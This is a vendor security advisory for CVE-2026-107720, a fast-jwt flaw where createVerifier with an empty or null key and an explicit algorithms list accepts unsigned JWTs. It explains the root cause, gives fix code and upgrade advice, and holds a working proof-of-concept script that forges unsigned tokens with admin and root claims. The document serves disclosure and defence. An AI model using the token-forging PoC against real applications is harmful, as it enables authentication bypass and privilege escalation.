CVE-2026-107720

CVE-2026-107720 is a high-severity improper input validation vulnerability in fast-jwt (npm), affecting versions <= 6.3.0. It is fixed in 6.3.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application, regardless of algorithm, can forge arbitrary claims without possessing any signing key.

Details

Root cause, four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

  • createSigner({ key: '' }) / key: null → rejected
  • createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
  • createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

  1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
  2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-107720 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.3.1); upgrading removes the vulnerable code path.

Affected versions

fast-jwt (<= 6.3.0)

Security releases

fast-jwt → 6.3.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

In createVerifier, fail closed before binding the verifier:

if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Frequently Asked Questions

  1. What is CVE-2026-107720? CVE-2026-107720 is a high-severity improper input validation vulnerability in fast-jwt (npm), affecting versions <= 6.3.0. It is fixed in 6.3.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. How severe is CVE-2026-107720? CVE-2026-107720 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of fast-jwt are affected by CVE-2026-107720? fast-jwt (npm) versions <= 6.3.0 is affected.
  4. Is there a fix for CVE-2026-107720? Yes. CVE-2026-107720 is fixed in 6.3.1. Upgrade to this version or later.
  5. Is CVE-2026-107720 exploitable, and should I be worried? Whether CVE-2026-107720 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-107720 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-107720? Upgrade fast-jwt to 6.3.1 or later.

Other vulnerabilities in fast-jwt

Stop the waste.
Protect your environment with Kodem.